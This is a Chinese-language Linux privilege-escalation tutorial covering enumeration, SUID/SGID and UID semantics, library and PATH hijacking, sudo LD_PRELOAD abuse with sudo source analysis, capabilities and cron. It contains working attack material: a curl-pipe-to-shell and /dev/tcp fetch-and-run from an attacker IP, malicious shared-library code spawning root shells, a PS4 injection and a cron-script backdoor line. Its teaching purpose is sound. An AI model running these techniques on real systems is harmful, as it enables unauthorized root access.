Linux 权限提升(Privilege Escalation)

  • 低权限修改可执行脚本,高权限执行
  • 用户行为:低权限运维人员也会输入/储存高权限凭据
  • 超越权限体系,在其上层(如内存)捕获/修改凭据等信息

——出自 redteamnotes

信息收集与枚举

信息收集是提权的第一步,也是最关键的一步。提权路径往往隐藏在海量配置细节中,只有系统性检查每个向量,才能找到突破口。以下命令按功能分类,可以根据具体路径再详细枚举。

系统基本信息

hostnamectl # 主机名、操作系统、内核版本

uname -a # 内核版本详细信息

cat /etc/os-release # 操作系统发行版

cat /etc/issue # 登录前提示(可能含系统信息)

lscpu # 系统架构

用户与身份

id # 当前用户 UID/GID/所属组

whoami # 当前用户名

w / who # 当前登录的用户

last # 最近登录记录

cat /etc/passwd # 所有用户列表

cat /etc/group # 所有用户组

sudo 权限

sudo -l # 查看当前用户可执行的 sudo 命令

进程与服务

ps -ef # 所有进程(全格式)

ps axjf # 进程树(看父子关系)

top -b -n1 | head -20 # 资源占用 Top 进程

systemctl list-units --type=service # 运行中的服务

网络信息

ip a / ifconfig # 网络接口

netstat -antp # 所有 TCP 连接与监听

netstat -anup # 所有 UDP 连接

netstat -tlnp # 仅 TCP 监听端口

ss -tlnp # 同上(更现代)

cat /etc/hosts # 主机映射

arp -a # ARP 缓存

文件系统权限搜索

find / -perm -4000 -type f 2>/dev/null # SUID 文件

find / -perm -2000 -type f 2>/dev/null # SGID 文件

find / -perm -o=w -type f 2>/dev/null # Other 可写

Capabilities 与 ACL

getcap -r / 2>/dev/null # 递归查找所有 Capabilities

capsh --print # 当前进程 Capabilities

getfacl -s -R / 2>/dev/null # ACL文件

定时任务

crontab -l # 当前用户的定时任务

cat /etc/crontab # 系统级定时任务

ls -la /etc/cron.d/ # cron.d 目录

ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

其他关键检查

cat /etc/exports # NFS 共享配置

cat /etc/fstab # 文件系统挂载

mount # 当前挂载信息

ls -la /etc/update-motd.d/ # MOTD 脚本

find / -name "*.log" -writable 2>/dev/null # 可写日志

自动化枚举

LinPEAS 最全面,持续更新,颜色标记风险等级

curl -L linpeas.sh | sh(不落地执行)

LinEnum经典,输出结构清晰,适合快速扫描

./LinEnum.sh

linux-exploit-suggester专注内核漏洞,匹配已知 CVE

./linux-exploit-suggester.sh

linuxprivchecker.py Python 编写,检查全面

python linuxprivchecker.py

unix-privesc-check检查常见配置错误

./unix-privesc-check standard

不落地执行技巧:目标没有 curl/wget 时,用 nc 本地起服务,远程目标用 /dev/tcp 连接。

攻击者机器

nc -lvnp 80 < linpeas.sh

目标机器

exec 3<>/dev/tcp/<攻击者IP>/80; cat <&3 | bash

UGO 权限模型

Linux 系统中的每一个文件和目录都拥有三组权限,分别对应三类主体:

U(User,文件 所有者)、G(Group,文件所属用户组)和 O(Other,其他所有用户)。

每组权限包含三个 基本属性:读(r)、写(w)和执行(x)。

这种模型是 Linux 安全体系的基础,也是提权攻击的首要切入点。理解 UGO 的关键在于:一旦权限配置出现失误,就可能被攻击者利用,从而获得远超当前身份的系统权限。

U(User)权限

这类攻击的核心目标是查找属主为 root 且设置了 SUID 位的可执行文件。

当一个文件拥有 SUID 权限时,无论谁执行它,进程都会临时获得文件属主(通常是 root)的身份。

find / -perm -4000 -type f 2>/dev/null

G(Group)权限

当前用户可能恰好属于某个特权组,而这个组对敏感文件(如 /etc/shadow)拥有读取权限。

例如,shadow 组的成员可以读取 /etc/shadow 文件中的密码哈希,进而通过离线暴力破解获取其他用户(包括 root)的明文密码。

此外,如果某个特权组对系统配置文件或脚本拥有写权限,攻击者就能修改这些文件,等待高权限用户或系统服务触发执行。

id

find / -group <你的组名> -perm -g=w -type f 2>/dev/null

O(Other)权限过高

当文件的 Other 权限位被设置为可写时,系统上 的任何用户都能修改该文件。常见的危险场景包括:计划任务脚本(cron job)全局可写、系统服务配置文件全局可写等。

攻击者只需修改这些文件的内容,等待系统或管理员触发执行,就能获得高权限。

find / -writable -type f 2>/dev/null

SUID(Set User ID)

SUID 是 Linux 权限系统中一个极为特殊且关键的机制,权限位为 4000。

当一个可执行文件设置了 SUID 位后,任何人执行它时,进程都会临时获得该文件属主的身份,而非执行者自身的身份。

这意味着属主为 root 的 SUID 文件,普通用户执行时就相当于临时拥有了 root 权限。

在 ls -l 输出中,SUID 的标识是所有者执行权限位上的 s 字符(如 -rwsr-xr-x)。

如果所有者本身没有执行权限,则显示为大写 S(如 -rwSr-xr-x),这通常意味着配置错误,SUID 位

无法实际生效。

提权意义:如果能找到一个属主为 root(只要是身份高于当前用户的,都值得尝试) 的 SUID 程序,且该程序存在可利用的漏洞(命令注入、环境变量劫持、共享库注入等),就等于暂时拥有了 root 权限。

这里还需要铺垫一下,下面会用到:

基础概念

三个UID

每个进程拥有三个UID:

RUID(Real UID,真实用户ID)

  • 来源:登录时确定,谁启动的进程就是谁
  • 作用:标识进程的"真正主人"
  • 特点:通常不变,只有root或自身才能改
  • 谁用它:kill信号权限判断(只有RUID相同或root才能发信号)、进程审计(whoami看的是RUID)、bash降权判断(if RUID≠EUID → 降权)

EUID(Effective UID,有效用户ID)

  • 来源:默认等于RUID,SUID位会改变它
  • 作用:内核做权限检查时看的UID,这才是真正决定"你能干什么"的ID
  • 特点:内核检查文件访问权限、capability时都看EUID
  • 内核权限检查逻辑:进程读/etc/shadow → 内核检查EUID → EUID=0放行,EUID=1000拒绝

SUID(Saved Set-UID,保存的设置用户ID)

  • 来源:execve时自动从EUID复制,是EUID的"存档点"
  • 作用:保存一个可恢复的UID,供以后在RUID和SUID之间切换EUID
  • 特点:允许程序在特权和非特权之间来回切换(如服务器:处理请求时用低权限,读配置文件时切回高权限)
  • 保存时机:execve执行SUID程序时,RUID=1000(不变),EUID=0(SUID赋予),SUID=0(自动从EUID复制)
  • 为什么需要它:seteuid(1000)降权后,seteuid(0)可以从SUID存档恢复回去;如果没有SUID保存,降权后就再也回不去了

三个GID

与UID完全对称,每个进程也有三个GID:

RGID(Real GID):进程的"真实组",登录时确定

EGID(Effective GID):内核做组权限检查时看的GID

SGID(Saved Set-GID):EGID的存档点,SGID位作用于文件时:execve启动程序,内核自动将EGID设为文件的属组,并复制到SGID保存。

UID、GID例子

场景

RUID

EUID

SUID

RGID

EGID

SGID

普通程序

1000

1000

1000

1000

1000

1000

SUID程序(属主root)

1000

0

0

1000

1000

1000

SGID程序(属组shadow)

1000

1000

1000

1000

42

42

SUID+SGID程序

1000

0

0

1000

42

42

sudo执行

0

0

0

0

0

0

setuid/setgid/seteuid/setegid

setuid()
if (有CAP_SETUID能力) {
    // root路径:全改
    RUID = uid;
    EUID = uid;
    SUID = uid;
    return 0;  // 成功
} else {
    // 普通用户路径:只改EUID
    if (uid == RUID || uid == SUID) {
        EUID = uid;
        return 0;  // 成功
    }
    return EPERM;  // 拒绝
}

EUID=0时调setuid()走root路径,三个ID全改

EUID≠0时调setuid()走普通路径,只改EUID,RUID和SUID不变

setgid()

与setuid对称

if (有CAP_SETGID能力) {
    RGID = gid;
    EGID = gid;
    SGID = gid;
    return 0;
} else {
    if (gid == RGID || gid == SGID) {
        EGID = gid;
        return 0;
    }
    return EPERM;
}
seteuid() / setegid()

seteuid() 只修改EUID,不动RUID和SUID。权限规则和setuid的普通用户路径相同:euid必须等于RUID或SUID(或root的EUID=0有CAP_SETUID)。

seteuid() 适合临时切换权限,因为SUID存档没被覆盖,之后可以seteuid(SUID)恢复回去。

总结

函数

root调(有capability)

普通用户调

改什么

setuid(uid)

RUID+EUID+SUID全改

只改EUID

看调用者权限

seteuid(euid)

只改EUID

只改EUID

永远只改EUID

setgid(gid)

RGID+EGID+SGID全改

只改EGID

看调用者权限

setegid(egid)

只改EGID

只改EGID

永远只改EGID

bash/dash的降权机制

bash启动时会检测自己是否以SUID/SGID方式运行,如果是,默认降权

bash的 -p 参数(privileged mode)可以阻止降权,所以可以看到后面提权用的都是 -p 参数

注意:如果文件的命令执行是system('cmd'),则启动的bash是 /bin/sh -c "cmd" 的形式,无法控制 -p 参数

而 dash 不降权, Debian/Ubuntu默认 /bin/sh → dash,dash不会主动降权(在新版dash,也会通过 -p 参数来控制降权,与bash类似,但是旧版本则不会)

条件

bash行为

dash行为

RUID == EUID 且 RGID == EGID

不降权

不降权

RUID ≠ EUID

降EUID回RUID

不降权

RGID ≠ EGID

降EGID回RGID

不降权

RUID≠EUID 且 RGID≠EGID

两个都降

不降权

命令执行函数

函数

经过shell

搜索PATH

自定义env

bash降权

PATH劫持

system

✅

✅

❌

视sh而定

视sh而定

popen

✅

✅

❌

视sh而定

视sh而定

wordexp

✅

✅

❌

视sh而定

视sh而定

execve

❌

❌

✅

不降权

绝对路径❌

execl

❌

❌

❌

不降权

绝对路径❌

execle

❌

❌

✅

不降权

绝对路径❌

execv

❌

❌

❌

不降权

绝对路径❌

execlp

❌

✅

❌

不降权

✅✅

execvp

❌

✅

❌

不降权

✅✅

execvpe

❌

✅

✅

不降权

✅✅

posix_spawn

❌

❌

✅

不降权

❌

posix_spawnp

❌

✅

✅

不降权

✅✅

dlopen(路径)

❌

❌

❌

不降权

❌(.so覆盖)

dlopen(文件名)

❌

✅

❌

不降权

.so路径劫持

SUID二进制本身功能可利用

find / -perm -4000 -type f 2>/dev/null

GTFOBins(https://gtfobins.github.io/)是经典参考资料,列举了大量可被利用的 SUID 程序及其提权方法

例子

找到一台主机测试,里面没有GTFOBins中可利用的,但是有几个不常见的SUID文件

三个同为一个文件,可能是前人留下的后门

strings /var/lib/rpm/Database

看到setuid和system

ltrace、strace都没有装

用objdump来分析下

objdump -d /var/lib/rpm/Database | sed -n '/<main>:/,/^$/p'

喜欢的可以分析下,丢给ai得到结果

/var/lib/rpm/Database -z "/bin/bash -p"直接提权

SUID 共享库路径劫持

当一个 SUID 程序在运行时需要加载动态链接共享库(.so 文件),如果它引用的某个共享库路径可以被低权限用户写入或替换,攻击者就能放置恶意共享库来实现代码执行。由于SUID 程序以 root 身份运行,恶意代码也会以 root 权限执行。

首先查找系统中不寻常的 SUID 文件(非系统自带的、可能是管理员自定义的),然后用 ldd 查看其依赖的共享库,逐一检查库文件和所在目录的权限(文件不存在或可写)

find / -perm -4000 -type f 2>/dev/null

ldd /path/to/suid-binary

readelf -d /path/to/suid-binary | grep PATH

相对路径:

共享库路径优先级:

  1. LD_PRELOAD(SUID文件清除)
  2. DT_RPATH指定的目录列表(仅当没有 DT_RUNPATH 时生效)
  3. 环境变量LD_LIBRARY_PATH指定的目录列表(SUID文件清除)
  4. DT_RUNPATH指定的目录列表
  5. /etc/ld.so.cache 缓存文件,通常包含 /etc/ld.so.conf 文件编译出的二进制列表(比如 CentOS 上,该文件会使用 include 从而使用 ld.so.conf.d 目录下面所有的 *.conf 文件,这些都会缓存在 ld.so.cache 中)
  6. 系统的默认路径。如/lib,/usr/lib等

SUID会导致LD_PRELOAD、LD_LIBRARY_PATH被清除,所以不需要关注

编写 C 共享库,在构造函数中放置提权代码,编译,把恶意共享库的路径添加到最高优先级的PATH中

// malicious.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");   // -p 保留 euid,直接给 root shell
}

gcc -shared -fPIC -o libmalicious.so libmalicious.c

export PATH=.:$PATH

例子

上面的恶意文件因为是system命令执行,所以只有root的suid文件才能setuid(0)使三个UID为0,才不会被system()函数的sh降权

下面看看普通用户的,先搭建环境,以postgres用户为例

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int main() {
    // 相对路径的 evil.so,假设位于当前工作目录
    const char *lib_path = "./evil.so";
    void *handle;
    void (*evil_func)(void);

    // 打开共享库 (RTLD_LAZY: 只在实际调用时解析符号)
    handle = dlopen(lib_path, RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "错误: 无法加载 %s\n%s\n", lib_path, dlerror());
        return 1;
    }

    // 清除之前的错误
    dlerror();

    // 获取 "run_evil" 函数的地址
    evil_func = (void(*)(void)) dlsym(handle, "run_evil");
    char *error = dlerror();
    if (error != NULL) {
        fprintf(stderr, "错误: 找不到 run_evil 符号\n%s\n", error);
        dlclose(handle);
        return 1;
    }

    printf("成功加载 %s,正在调用 run_evil()...\n", lib_path);
    // 调用库中的函数
    evil_func();

    // 关闭共享库
    dlclose(handle);
    return 0;
}

gcc suid.c -ldl -o suid

chmod 4555 suid

execl("/bin/bash", "bash", "-p", NULL);不走sh,不会被降权

如果还是用system(),因为RUID ≠ EUID,降EUID回RUID,最终还是ecs用户

#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void run() {
    // 不需要 setuid/setgid!
    // bash -p 自动保持 EUID 和 EGID
    execl("/bin/bash", "bash", "-p", NULL);
}

gcc -shared -fPIC -o evil.so evil.c

export PATH = .:$PATH

成功提权到postgres用户

再来验证下前面提到的dash降权,sh链接的是bash

#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void run() {
    
    system("/bin/bash -p -c 'id'");

}

运行出来的还是ecs用户的bash,说明被dash降权

绝对路径:

只有在so文件可以修改的条件下利用

编写 C 共享库,在构造函数中放置提权代码,编译,把恶意共享库替换掉正常共享库

SUID PATH劫持

当 SUID 程序在内部调用其他命令时,如果使用的是相对路径而非绝对路径,就能通过修改 PATH 环境变量,让程序优先找到攻击者放置的恶意命令。

查看程序干了什么(主要找命令的命令执行函数):

find / -perm -4000 -type f 2>/dev/null

ltrace /path/to/suid_binary 2>&1

strace -f -e trace=s=? /path/to/suid_binary 2>&1

strings /path/to/suid_binary

相对路径

SUID 程序源码中调用了 system("ls")而非system("/bin/ls"),或者直接就是外部脚本命令执行,比如service httpd start,就可以劫持service

在可写的目录下创建名为 ls 的恶意脚本,将该目录加到 PATH 最前面。SUID 程序执行时优先找到恶意脚本并以root 权限运行(除非文件前面手动设置了setuid(0),否则system还是会被bash降权,这里只是用system举例)

echo "/bin/bash -p" > /tmp/ls

chmod +x /tmp/ls

export PATH=/tmp:$PATH

绝对路径

Bash 函数劫持(Bash < 4.2)

bash --version查看版本

原理:即使 SUID 程序使用了绝对路径调用命令(如 system("/usr/bin/whoami"),旧版 Bash 允许定义函数名恰好为绝对路径,shell 解析时会优先执行同名函数而非实际可执行文件

function /usr/bin/whoami { /bin/bash -p; }

export -f /usr/bin/whoami

PS4 注入(Bash < 4.4)

bash --version查看版本

原理:当 shell 开启 xtrace 模式(set -x 或 SHELLOPTS=xtrace)时,PS4 变量的内容会在每条命令执行前被展开并输出到 stderr。PS4 支持命令替换——如果 PS4 的值包含 (...) 语法,其中的命令会在每次命令追踪时被执行。由于 SUID 程序以 root 身份运行,(...) 中的命令也以 root 权限执行。

需要满足以下条件:

  • SUID目标必须内部调用了shell (不然设置变量没人用)
  • SUID目标必须未清理环境变量
  • 被调用的shell必须是bash(Debian/Ubuntu默认sh是dash,system()走dash则不生效)

条件非常严苛,比较少见

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2 

env -i SHELLOPTS=xtrace PS4='$(id)' /usr/local/bin/suid-env2

SGID(Set Group ID)

SGID 的权限位为 2000,其对可执行文件和目录的作用完全不同,在提权中都需要关注。

作用于文件时:类似 SUID,但继承的是文件属组的权限。标识为属组执行权限位上的 s 字符( 如 -rwxr-sr-x)。如果 SGID 文件的属组拥有特权(如 shadow 组),普通用户执行该文件时就能短暂获得该组权限,访问本不能访问的资源。

作用于目录时(更隐蔽但更常用):当目录设置了 SGID 位后,在该目录下创建的新文件或子目录会自动继承该目录的属组,而非创建者自己的主组。提权价值在于:如果 SGID 目录的属组是特权组(如 adm、sudo),且你对它可写,那么你创建的文件将自动加入特权组,可能创造出新的攻击路径。

find / -perm -2000 -type f 2>/dev/null # SGID 文件

find / -perm -2000 -type d 2>/dev/null # SGID 目录

SGID文件

利用方法与SUID文件相同,SGID程序的劫持目标是获得该组权限,不是root

例子:

上面的SUIDPATH劫持没有举例,这里以PATH劫持做例子,用了相对路径的cat

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main() {
    
    // execlp 会在 PATH 中搜索 cat
    execlp("cat", "cat", "/etc/shadow", NULL);
    
    perror("execlp failed");
    return 1;
}

编译并设置权限

sudo chown root:shadow catshadow

sudo chmod 2555 catshadow

劫持cat

#include <stdio.h>
#include <unistd.h>

int main() {
    // 不需要 setuid/setgid!
    // bash -p 自动保持 EUID 和 EGID
    execl("/bin/bash", "bash", "-p", NULL);
}

gcc -o cat cat.c

export PATH=.:$PATH

成功获得shadow组的权限

SGID目录

目录要可写,在该目录下创建的新文件或子目录会自动继承该目录的属组

但是利用起来就非常有限了,下面是可能的路径,就不详细介绍了,总的来说就是特权目录,很可能被别的程序调用,通过修改目录文件(条件竞争等)来使别的程序调用恶意目录文件

利用SGID目录中的竞争条件(TOCTOU)

某个特权程序在SGID目录中创建临时文件

程序流程:

  1. 创建 /opt/shared/tmpfile → 属组=特权组
  2. 写入数据
  3. 读取 /opt/shared/tmpfile
  4. 根据内容做特权操作

攻击:在步骤2和3之间替换文件内容

用 inotifywait 监控

inotifywait -m /opt/shared/ -e create

检测到tmpfile创建 → 立即写入恶意内容

Sticky Bit

Sticky Bit(权限位 1000)主要用于目录。当目录设置了 Sticky Bit 后,只有文件的属主、目录的属主或 root 才能删除或重命名该目录下的文件,即使其他用户对该目录拥有写权限。

典型例子是 /tmp(drwxrwxrwt)

Sticky Bit 本身不是提权手段,但了解它很重要:如果某个全局可写目录没有设置 Sticky Bit,任何用户都能删除其他用户的文件,可用于竞态条件攻击(race condition)或符号链接攻击(symlink attack)。攻击者预测另一个用户将要创建的文件名,在关键时刻替换为指向敏感文件的符号链接。

SUDO(superuser do)

sudo(superuser do)是 Linux 中允许普通用户以其他用户(通常是 root)身份执行命令的机制,与 SUID 不同,sudo 的权限由 /etc/sudoers 配置文件集中管理,而非分散在每个文件上。

在提权中,sudo 配置的错误或过于宽松的规则是最常见的提权路径之一

当然,一切的起点都是执行 sudo -l,查看当前用户被允许以 root 身份执行哪些命令,如果是webshell,没有用户密码,没有配置NOPASSWD,那就是天方夜谭

sudo -l

输出示例:

(root) NOPASSWD: /usr/bin/find

(root) NOPASSWD: /usr/bin/vim

(root) /usr/bin/env

每行规则的含义是:以哪个用户身份、是否需要密码、可以执行哪些命令。NOPASSWD 表示不需要输入密码,这极大降低了利用门槛

sudo配置文件

/etc/sudoers ← 主配置文件

/etc/sudoers.d/ ← 子配置目录

sudoers 一行配置的完整语法,示例:

user1 ALL=(root) NOPASSWD:SETENV: /usr/bin/find

testuser ALL=(root) /bin/cat

逐段解析:

user1 → 谁(用户名/组%group/UID#1000/User_Alias)

ALL → 在哪台主机(ALL=所有主机/Host_Alias)

(root) → 以谁的身份执行(root/用户/%组/RUNAS_Alias)

NOPASSWD: → 标签1:不需要密码

SETENV: → 标签2:允许设置环境变量

/usr/bin/find → 能执行什么命令(命令/Cmnd_Alias)

所有标签

标签

作用

对提权的意义

NOPASSWD

执行sudo不需要密码

低——只是方便,不影响权限

PASSWD

执行sudo需要密码(默认)

无——默认行为

EXEC

允许执行子命令(默认)

低——默认行为

NOEXEC

禁止执行子命令

防御——阻止system()/popen()/execlp()等

SETENV

允许通过sudo设置环境变量

高——可传LD_PRELOAD等

NOSETENV

不允许设置环境变量(默认)

防御——默认行为

INTERCEPT

拦截并审计子命令

防御——新版本sudo功能

NOINTERCEPT

不拦截子命令(默认)

低——默认行为

LOG_INPUT

记录输入

无——审计

LOG_OUTPUT

记录输出

无——审计

FOLLOW

跟随符号链接

低

NOFOLLOW

不跟随符号链接

防御

重点标签:

  • SETENV:

配置user1 ALL=(root) SETENV: /usr/bin/find

效果:执行时可以通过命令行设置环境变量

sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find

  • NOEXEC:

user1 ALL=(root) NOEXEC: /usr/bin/find

效果:find执行期间不能再调system()/popen()/execlp()等

find -exec /bin/bash \; ← 被NOEXEC拦截

  • INTERCEPT:

user1 ALL=(root) INTERCEPT: /usr/bin/find

效果:find执行子命令时,sudo会拦截并检查是否在允许列表中

find -exec /bin/bash \; → sudo检查 /bin/bash 是否在允许列表 → 不在则拒绝

比 NOEXEC 更精细:不是完全禁止,而是审计+选择性允许

环境变量

指令

作用

默认值

对提权的影响

env_reset

重置环境变量

开启

基础安全机制

env_keep

白名单保留变量

空

攻击利用

env_check

灰名单条件保留

空

有限保留

env_delete

黑名单强制删除

有默认列表

防御

setenv

允许sudo时设变量

关闭

等同SETENV标签

env_file

从文件读取环境变量

无

可能注入

env_reset 开启时(默认):

  1. 清除所有环境变量
  2. 只保留以下默认变量:├── HOME(如果设置了 always_set_home)├── LOGNAME├── MAIL├── PATH(重置为安全路径)├── SHELL├── SUDO_COMMAND├── SUDO_GID├── SUDO_UID├── SUDO_USER├── TERM├── TZ└── USER
  3. 然后应用 env_keep 保留的变量
  4. 然后应用 env_check 条件保留的变量

env_reset 关闭时:

  1. 保留所有当前环境变量
  2. 然后应用 env_check 条件保留的变量
  3. 删除 env_delete 中的变量

Defaults 全局选项

env_reset默认开启

secure_path=/usr/local/sbin:...:/bin

sudo使用自己的PATH,也就是上面的安全路径,不受用户PATH影响,PATH劫持无效(除非env_keep+=PATH覆盖了secure_path的行为)

sudo env

可以看到只有env_reset保留的环境变量

例子
env_reset=on:

添加env_keep+=LD_PRELOAD

成功引入

添加env_check+=LD_PRELOAD

检查到了/,不允许引入,去掉/,又可以引入

env_delete+=LD_PRELOAD,在env_reset时候不生效,照样引入

env_reset=off:

env_keep引入失败

在!env_reset条件下,会保留当前环境的变量,但是因为sudo是suid文件,所以LD_PRELOAD变量会被移除,先设置LD_PRELOAD变量再sudo也是不行的

但是配置env_delete-=LD_*可以成功,下面通过源码分析

源码分析

https://github.com/sudo-project/sudo/blob/main/plugins/sudoers/env.c

静态数组

加载到的链表

内容

initial_badenv_table[]

def_env_delete

LD_*、IFS、PS4、BASH_ENV、PYTHONPATH 等约40个危险变量/模式

initial_checkenv_table[]

def_env_check

COLORTERM、LANG、LC_*、TERM、TZ 等7个

initial_keepenv_table[]

def_env_keep

COLORS、DISPLAY、PATH、PS1、XAUTHORITY 等11个

关键点:initial_badenv_table 不是硬编码的"永远拒绝",它只是def_env_delete 的默认值。 用户可以通过 env_delete 在 sudoers 中增减。

rebuild_env() 根据env_reset的值,分成两条路径

路径A:env_reset=on(第915-1023行)

路径B:env_reset=off(第1024-1045行)

on条件:

先check再keep

  1. matches_env_check() → 匹配 def_env_check 链表 → 如果匹配,检查值不含 / 和 % 则返回 true(允许),含则返回 false(拒绝),不匹配返回 -1
  2. 如果返回 -1(不匹配 env_check),再调 matches_env_keep() → 匹配 def_env_keep 链表 → 匹配则 true
  3. 最后检查 bash 函数

注意:这里根本不查def_env_delete,env_reset=on 时,逻辑是"默认全部拒绝,只保留白名单"。所以 LD_PRELOAD 默认不在白名单里 → 被拒绝。但如果 env_keep+=LD_PRELOAD,它就进了白名单 → 被保留。

off条件:

先delete再check

判断是不是delete的,不是再判断是不是check的

  1. matches_env_delete() → 匹配 def_env_delete 链表 → 匹配则返回 true(要删除)
  2. 如果不匹配 env_delete,再调 matches_env_check() → 如果匹配但值含 / 或 %,返回 false → == false 为 true → 也要删除
  3. 如果两个都不匹配 → 不删除 → 保留

注意:这里根本不查**def_env_keep**, env_reset=off 时,逻辑是"默认全部保留,只删除黑名单"。没有"挽救"机制。

sudo规则滥用

许多常用程序在被 sudo 授权执行时,可以被利用来获取 root shell。这类程序通常内置了"逃逸"功能——例如 vim 的 :!bash 命令、find 的 -exec 参数、python 的 os.system() 调用等。

GTFOBins (https://gtfobins.org)网站系统性地收录了这些可被利用的程序

例子:

以env举例

sudo env /bin/sh

加上标签抑制

LD_PRELOAD

在env_reset=on条件下,当 sudo 配置中保留了 LD_PRELOAD 环境变量env_keep+=LD_PRELOAD,且env_check没有配置到LD_PRELOAD

在env_reset=off条件下,除非手动配置env_delete-=LD_*可以成功,且env_check没有配置到LD_PRELOAD,否则不可用

利用方法与SUID文件共享库劫持相同,不同的是,必须unsetenv("LD_PRELOAD");不然会无限加载

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h> 
__attribute__((constructor))
void run() {
    unsetenv("LD_PRELOAD"); 
    // 不需要 setuid/setgid!
    // bash -p 自动保持 EUID 和 EGID
    execl("/bin/bash", "bash", "-p", NULL);
}

gcc -fPIC -shared -nostartfiles -o preload.so preload.c

sudo LD_PRELOAD=preload.so env

成功提权

Capabilities

背景

传统的 Linux 权限模型只有两种身份:root(UID 0)和普通用户。root 拥有所有权限,普通用户权限极为有限。这种"全有或全无"的模型存在根本性安全缺陷:一个只需要发送ICMP 包的程序(如 ping),如果通过 SUID 获得了 root 身份,它实际上拥有了 root 的全部权力——包括读取 /etc/shadow、修改系统文件等完全不需要的能力。一旦该程序存在漏洞,攻击者就能获得完整的 root shell。

Capabilities 机制正是为了解决这一问题。它将 root 的权力拆解成一个个细粒度的小权限,每个Capability 代表一种特定的系统能力。程序只需要被授予它真正需要的那一个或几个Capability,而非完整的 root 权限。即使程序被攻破,攻击者也只能获得有限的权力,极大缩小了攻击面。

Capabilities配置

前面的SUID提到的setuid(0)就需要CAP_SETUID

文件 Capabilities

nmap,可以看到有cap_net_raw,所以进行ping、tcp等扫描时不需要sudo来运行,也不需要设置为SUID文件

进程** Capabilities**

capsh --print用来查看当前进程的能力状态

Current:

这是当前进程的三个 cap 集合的快照:Effective = 空,Permitted = 空,Inheritable = 空,还有Ambient在后面

集合

含义

当前状态

Permitted

进程允许拥有的 cap 上限(能激活的池子)

空

Effective

进程当前正在使用的 cap(内核实际检查的)

空

Inheritable

exec() 时可以传承给子进程的 cap(允许传承)

空

Ambient

exec() 时自动叠加到 Permitted+Effective 的 cap(Linux 4.3+)(进程独有)
(强制传承,但cap必须存在于Inheritable)

空

老系统没有Ambient

文件启动时,文件****Capabilities就转成了进程****Capabilities

转化规则:

  • 新进程的 Permitted (P') = (文件 Inheritable ∩ 进程 Inheritable) ∪ 文件 Permitted ∪ Ambient
  • 新进程的 Effective (E') = 文件 Effective 标志位 ? P' : (Ambient)
  • 新进程的 Inheritable (I') = (文件 Inheritable ∩ 进程 Inheritable) ∪ Ambient
  • 新进程的 Ambient (A') = 不变(exec 不修改 Ambient)

**在提取场景,**Ambient一般为空,继承后也为空,意义可能不大;EIP也一般也都为空所以新进程的P就是文件P、新进程的E取决于文件E、新进程的I照样为空

Bounding set:

  • 限制一个进程在将来永远不会获得bounding set 之外的 cap
  • 它不赋予任何能力,只是一个"上限"
  • 一旦从 bounding set 中移除一个 cap,就不可逆

Securebit:

Securebit

含义

状态(no = 未启用)

secure-noroot

设为 1 后,SUID-root 程序执行时不再自动获得全部 cap

未启用 → SUID-root 程序正常获得全部 cap

secure-no-suid-fixup

设为 1 后,uid 从非 0 变 0 时不再自动补全 Permitted/Effective

未启用 → 正常行为

secure-keep-caps

设为 1 后,euid 从 0 变非 0 时不清除 cap

未启用 → 正常行为(setuid 从 root 变普通用户时丢 cap)

secure-no-ambient-raise

设为 1 后,禁止提升 Ambient 集合

未启用 → 正常行为

no-new-privs

设为 1 后,exec() 时不能获得新权限(cap、SUID 提升均无效)

未启用 → exec 可以获得新权限

"unlocked" 意味着这些 bit 可以被修改(锁定后就不可逆了),环境全部 unlocked + 未设置,是最"默认"的状态,需要**cap_setpcap**来修改

常见Capabilities

Capability

含义

提权利用方式

CAP_SETUID

允许改变进程的 UID

直接 setuid(0)获取 root

CAP_SETGID

允许改变进程的 GID

读取 shadow 组等特权组文件

CAP_DAC_OVERRIDE

绕过文件读/写/执行权限检查

读取/修改任意文件

CAP_DAC_READ_SEARCH

绕过文件读和目录搜索权限

读取受保护文件

CAP_SYS_ADMIN

系统管理能力(接近 root)

挂载文件系统、命名空间操作等

CAP_SYS_MODULE

允许加载内核模块

加载恶意内核模块获取 root

CAP_SYS_PTRACE

允许跟踪进程

注入代码到高权限进程

CAP_NET_RAW

允许使用原始套接字

网络嗅探、ARP 欺骗

CAP_CHOWN

允许改变文件属主

修改关键文件属主为自己

CAP_FOWNER

绕过文件属主权限检查

修改任意文件权限

CAP_KILL

允许向任意进程发信号

终止高权限进程(如杀防病毒软件)

例子:

给cat设置CAP_DAC_OVERRIDE=ep,可以读取任意文件

为了安全而设计的cap,提权路径就非常窄了,既要配置了危险的cap能力,还要刚好配置在了可控、可用的可执行文件上,像cap_dac_override如果配置在了ping文件上,那真是太监进青楼,如果刚好配置到了,再想办法利用吧,这里就不再举例了

getcap -r / 2>/dev/null

枚举再根据文件作用来提权

Crontab(Chronos Table)

Cron 是 Linux 定时执行任务的守护进程。系统级 cron 任务定义在/etc/crontab和 /etc/cron.d/ 目录下,用户任务通过 crontab 命令管理。许多 cron 任务以 root 身份运行,如果攻击者能修改任务内容或其调用的脚本,就能实现提权。

/etc/crontab # 系统主 crontab 文件/etc/cron.d/ # 系统定时任务片段目录/etc/cron.daily/ # 每天执行的脚本/etc/cron.hourly/ # 每小时执行的脚本/etc/cron.weekly/ # 每周执行的脚本/etc/cron.monthly/ # 每月执行的脚本

/var/spool/cron/crontabs/ # 每个用户的 crontab 文件/var/spool/cron/ # 同上(不同发行版略有差异)

1.脚本文件可写

echo "cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash" >> /opt/backup.sh

2.路径劫持

/etc/crontab 中通常会定义 PATH 环境变量。当 cron 任务调用的脚本使用相对路径执行其他命令时,shell 会按 PATH 顺序搜索。如果 PATH 中靠前的目录对低权限用户可写,攻击者在该目录放置恶意脚本即可劫持。

